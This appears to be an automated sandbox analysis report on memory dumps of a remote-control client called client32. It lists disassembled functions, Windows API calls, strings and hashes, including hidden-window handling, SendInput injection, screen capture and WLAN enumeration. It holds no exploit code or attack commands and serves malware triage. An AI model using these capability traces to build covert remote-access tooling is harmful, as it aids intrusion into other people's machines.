Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$Exception@8LibraryLoadThrow_memsetstd::exception::exceptionwsprintf
String ID: WlanCloseHandle$WlanEnumInterfaces$WlanFreeMemory$WlanGetAvailableNetworkList$WlanOpenHandle$wlanapi.dll
API String ID: 1463381176-1736626566
Opcode ID: 883de4db6132f92fd2791c3658098a597c0006997dfe857d44e8fbfa8cff4122
Instruction ID: caad9b3ffb412b0ce201366128ee2238a993313849ab4ce7a7f1ca44c3893492
Opcode Fuzzy Hash: 883de4db6132f92fd2791c3658098a597c0006997dfe857d44e8fbfa8cff4122
Instruction Fuzzy Hash: 6521E1B5A01718AFC751EFADCD809ABFBF9AF58204700C92AE469C3301E670E401CF91

Function 1111D480 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 1111B6C0: SelectPalette.GDI32(?,?,00000000), ref: 1111B73C
Part of subcall function 1111B6C0: SelectPalette.GDI32(?,?,00000000), ref: 1111B751
Part of subcall function 1111B6C0: DeleteObject.GDI32(?), ref: 1111B764
Part of subcall function 1111B6C0: DeleteObject.GDI32(?), ref: 1111B771
Part of subcall function 1111B6C0: DeleteObject.GDI32(?), ref: 1111B796

_free.LIBCMT ref: 1111D49D

Part of subcall function 1115F3B5: HeapFree.KERNEL32(00000000,00000000,?,11167F76,00000000,?,110B7069), ref: 1115F3CB
Part of subcall function 1115F3B5: GetLastError.KERNEL32(00000000,?,11167F76,00000000,?,110B7069), ref: 1115F3DD

_free.LIBCMT ref: 1111D4B3
_free.LIBCMT ref: 1111D4C8
GdiFlush.GDI32(?,?,?,021B8E08), ref: 1111D4D0
_free.LIBCMT ref: 1111D4DD
_free.LIBCMT ref: 1111D4F1
SelectObject.GDI32(?,?), ref: 1111D50D
DeleteObject.GDI32(?), ref: 1111D51A
GetLastError.KERNEL32(?,?,?,?,?,021B8E08), ref: 1111D524
DeleteDC.GDI32(?), ref: 1111D54B
ReleaseDC.USER32(?,?), ref: 1111D55E
DeleteDC.GDI32(?), ref: 1111D56B
InterlockedDecrement.KERNEL32(111E59C8), ref: 1111D578

Strings

Error deleting membm, e=%d, xrefs: 1111D52B

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Delete$Object_free$Select$ErrorLastPalette$DecrementFlushFreeHeapInterlockedRelease
String ID: Error deleting membm, e=%d
API String ID: 3195047866-709490903
Opcode ID: 9c2adf2ed169df4d317d6cc21ab7cd28a5f95e7760aa942516609c3df0eba2e1
Instruction ID: 8035f785c448485e0a0b583a16257735e59db1fe9725df5791180d2e2a6c23f4
Opcode Fuzzy Hash: 9c2adf2ed169df4d317d6cc21ab7cd28a5f95e7760aa942516609c3df0eba2e1
Instruction Fuzzy Hash: 4D2147B5500B029BD2919F75D8D8AAFF7F4EF89308F10491DE6AA87204DB34B541CF62

Function 1110B660 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 218fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,DC70C1FE,?,?,?,?,?,?,?,?,?,11186768,000000FF,?,1110BBB7,00000001), ref: 1110B697
_memset.LIBCMT ref: 1110B732
SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 1110B76A
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 1110B7FE
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 1110B829
WriteFile.KERNEL32(?,PCIR,00000030,?,00000000), ref: 1110B83E

Part of subcall function 1110C270: InterlockedDecrement.KERNEL32(FFFFFFFF), ref: 1110C278

CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,11186768,000000FF), ref: 1110B865
_free.LIBCMT ref: 1110B898
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 1110B8D5
timeEndPeriod.WINMM(00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 1110B8E7
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,11186768,000000FF,?,1110BBB7,00000001,DC70C1FE,?,?), ref: 1110B8F1

Strings

End Record %s, xrefs: 1110B6B2
PCIR, xrefs: 1110B839, 1110B83C

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: File$CloseCriticalHandlePointerSectionWrite$DecrementEnterInterlockedLeavePeriod_free_memsettime
String ID: End Record %s$PCIR
API String ID: 4278564793-2672865668
Opcode ID: b5e0b74a8c418f385ab2ce3049a2b2a7d5ab592d0c1cc82c66c7b55f037bcb23
Instruction ID: 68bdc4b712a522e2f7fd413d6f6e2c74be8bd2334529b2a2157524006a95b439
Opcode Fuzzy Hash: b5e0b74a8c418f385ab2ce3049a2b2a7d5ab592d0c1cc82c66c7b55f037bcb23
Instruction Fuzzy Hash: 97811775A007099BD720DFA4C881BEBF7F8FF88704F10492DE66A97240D774A941CBA1

Function 11027130 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 174windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 1105D340: __wcstoi64.LIBCMT ref: 1105D37D

LoadLibraryExA.KERNEL32(PCIRES,00000000,00000000), ref: 110271C0
LoadIconA.USER32(00000000,00007D0B), ref: 110271D5
GetSystemMetrics.USER32(00000032), ref: 110271EE
GetSystemMetrics.USER32(00000031), ref: 110271F3
LoadImageA.USER32(00000000,00007D0B,00000001,00000000), ref: 11027203
LoadIconA.USER32(11000000,00000491), ref: 1102721B
GetSystemMetrics.USER32(00000032), ref: 1102722A
GetSystemMetrics.USER32(00000031), ref: 1102722F
LoadImageA.USER32(11000000,00000491,00000001,00000000), ref: 11027240

Strings

PCIRES, xrefs: 110271BB
AdminUserAcknowledge, xrefs: 1102729B
_License, xrefs: 1102716D
product, xrefs: 11027168

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Load$MetricsSystem$IconImage$Library__wcstoi64
String ID: AdminUserAcknowledge$PCIRES$_License$product
API String ID: 1946015-1270847556
Opcode ID: b5081cdd9087fe896703f36cdb24c0bbd67552c611d9c1bb16947e5bd2980717
Instruction ID: 7d40fe3dfb7a436b35654b91f1e6e13152f39ea3f8258807fefd6660e2433123
Opcode Fuzzy Hash: b5081cdd9087fe896703f36cdb24c0bbd67552c611d9c1bb16947e5bd2980717
Instruction Fuzzy Hash: 00513775F40B176BEB11CAA48C81F6FB6AD9F55708F504025FE05E7281EB70E904C7A2

Function 1112D530 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 187COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,11136285,00000000,?,?), ref: 1112D638
ShowWindow.USER32(00000000,00000000,?,11136285,00000000,?,?), ref: 1112D667

Strings

UI.CPP, xrefs: 1112D64C
StatusMode, xrefs: 1112D67D
Hidden, xrefs: 1112D5D7, 1112D621
Client, xrefs: 1112D682
#32770, xrefs: 1112D5DC, 1112D626
gUI.hidden_window, xrefs: 1112D651

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLastShowWindow
String ID: #32770$Client$Hidden$StatusMode$UI.CPP$gUI.hidden_window
API String ID: 3252650109-4091810678
Opcode ID: cd1c5dd9d1a3bb181a6b56db3fe8ce8364c259ea6c9d772f7103b6a17e3b32b4
Instruction ID: fa0dcf7bfd4a991f80e84da17f5d1f9dbb64edff6fc809840f3415ca9232f2cb
Opcode Fuzzy Hash: cd1c5dd9d1a3bb181a6b56db3fe8ce8364c259ea6c9d772f7103b6a17e3b32b4
Instruction Fuzzy Hash: A761E371B40315AFEB11CBD4CC85F6AF7A5E744B18F604129F625AB2C4EAB16840CB85

Function 110ED770 Relevance: 19.6, APIs: 13, Instructions: 94windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 110ED788
CreateCompatibleDC.GDI32(00000000), ref: 110ED7A8
SelectObject.GDI32(00000000,1113EA00), ref: 110ED7B2
CreateCompatibleDC.GDI32(00000000), ref: 110ED7B8
GetObjectA.GDI32(1113EA00,00000018,?), ref: 110ED7C6
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 110ED7D5
SelectObject.GDI32(00000000,00000000), ref: 110ED7E0
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 110ED806
SelectObject.GDI32(00000000,1113EA00), ref: 110ED811
DeleteDC.GDI32(00000000), ref: 110ED81A
SelectObject.GDI32(11003D26,1113EA00), ref: 110ED82A
DeleteDC.GDI32(11003D26), ref: 110ED830
ReleaseDC.USER32(00000000,00000000), ref: 110ED835

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Object$Select$CompatibleCreate$Delete$BitmapRelease
String ID:
API String ID: 1133104291-0
Opcode ID: ceb17ec1d72bb40bc7306424dc9f0ad1c8efb8a277b4ca78c2ab396d6f478ee4
Instruction ID: 1258555e92a1aaff948274f601fb2b09853c3fe6d534e09920ba7dca75f72fb8
Opcode Fuzzy Hash: ceb17ec1d72bb40bc7306424dc9f0ad1c8efb8a277b4ca78c2ab396d6f478ee4
Instruction Fuzzy Hash: CC314C75D41229BFDB01DFA9CC84FAEB7BCEB89714F10805AF904E3240D674AE418BA1

Function 1100D220 Relevance: 19.6, APIs: 1, Strings: 12, Instructions: 50COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1100D291

Strings

AlreadyStopped, xrefs: 1100D25C
Exception, xrefs: 1100D278, 1100D286
StillInstances, xrefs: 1100D27F
DllInitFailed, xrefs: 1100D247
AlreadyStarted, xrefs: 1100D255
BadParam, xrefs: 1100D271
NotFound, xrefs: 1100D26A
NoCapClients, xrefs: 1100D263
Unknown error %d, xrefs: 1100D287
CannotLoadDll, xrefs: 1100D240
RequiresVista, xrefs: 1100D239
CannotGetFunc, xrefs: 1100D24E

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: AlreadyStarted$AlreadyStopped$BadParam$CannotGetFunc$CannotLoadDll$DllInitFailed$Exception$NoCapClients$NotFound$RequiresVista$StillInstances$Unknown error %d
API String ID: 2111968516-2092292787
Opcode ID: bba3f28cac02fdec35f39604ef1b7e8ddb146cd2578dacf2bc8be98a87cc9d04
Instruction ID: 3cf3aa25874edefcff3c72479187094ffc842d22b257f1b299c377845cd1dbea
Opcode Fuzzy Hash: bba3f28cac02fdec35f39604ef1b7e8ddb146cd2578dacf2bc8be98a87cc9d04
Instruction Fuzzy Hash: CCF06C3A68111D57AB0187ED780547EF38D678057D7C8809AF8BCEBE20E912DCE0A296

Function 110FD230 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 247libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32,?,?,?,?,00000000), ref: 110FD3AD
GetProcAddress.KERNEL32(00000000,GetGUIThreadInfo), ref: 110FD3C5
_memset.LIBCMT ref: 110FD3E2
GetProcAddress.KERNEL32(?,SendInput), ref: 110FD43A
FreeLibrary.KERNEL32(?,?,00000000), ref: 110FD526

Strings

SendInput, xrefs: 110FD434
GetGUIThreadInfo, xrefs: 110FD3BF
user32, xrefs: 110FD3A8
0, xrefs: 110FD3F3

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressLibraryProc$FreeLoad_memset
String ID: 0$GetGUIThreadInfo$SendInput$user32
API String ID: 530983809-271338563
Opcode ID: be1e91ac694330f965b28f15093c1c5f42510e737a99044b1ed0c3d2e03dee73
Instruction ID: 43fa602a4ac72add29387a7c175e2a735ec2c38defe54f2081db145d70293a55
Opcode Fuzzy Hash: be1e91ac694330f965b28f15093c1c5f42510e737a99044b1ed0c3d2e03dee73
Instruction Fuzzy Hash: DBA1A270E043A69FDB16CF64CC85BADBBF9FB44708F0081A9E52897284DB759A84CF51

Function 1105D190 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 130windowregistryCOMMON

Download Yara Rule

APIs

RegisterClassA.USER32(111E9674), ref: 1105D1F2

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

CreateWindowExA.USER32(00000000,NSMCobrProxy,11190240,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 1105D233
SetPropA.USER32(?,NSMCobrProxy,00000000), ref: 1105D2BD
GetMessageA.USER32(00000000,?,00000000,00000000), ref: 1105D2E0
TranslateMessage.USER32(?), ref: 1105D2F6
DispatchMessageA.USER32(?), ref: 1105D2FC

Strings

_bOK, xrefs: 1105D209
m_hAppWin, xrefs: 1105D24A
CobrowseProxy.cpp, xrefs: 1105D204, 1105D245
NSMCobrProxy, xrefs: 1105D1E8, 1105D22C, 1105D2B7
CobrowseProxy::RunCobrowse, xrefs: 1105D1BA

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ClassCreateDispatchErrorExitLastProcessPropRegisterTranslateWindowwsprintf
String ID: CobrowseProxy.cpp$CobrowseProxy::RunCobrowse$NSMCobrProxy$_bOK$m_hAppWin
API String ID: 13347155-1383313024
Opcode ID: 37c3c3e8957f14a7e3b355c897228082546cf523f8d38056e85fd5e1210056e5
Instruction ID: 0f733430d951bad01d0579ae861b00247f75b5e4436af6dec06e8f89504007ad
Opcode Fuzzy Hash: 37c3c3e8957f14a7e3b355c897228082546cf523f8d38056e85fd5e1210056e5
Instruction Fuzzy Hash: 3341F1B5E0074AABD761DFA5CC84F9FFBA5AB44758F10842AF91697280EA30E440CB61

Function 110290F0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 97windowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?), ref: 1102910C

Part of subcall function 11140450: GetTickCount.KERNEL32 ref: 111404B8

wsprintfA.USER32 ref: 11029157
MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
ExitProcess.KERNEL32 ref: 110291A9
_strrchr.LIBCMT ref: 110291E5
ExitProcess.KERNEL32 ref: 11029224

Strings

Assert. File %hs, line %d, err %d, Expr %s, xrefs: 11029126
Assert failed, file %hs, line %d, error code %dBuild: %hsExpression: %s, xrefs: 11029151
V12.10F4, xrefs: 11029143
Info. assert, restarting..., xrefs: 1102920D
Client32, xrefs: 11029185

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
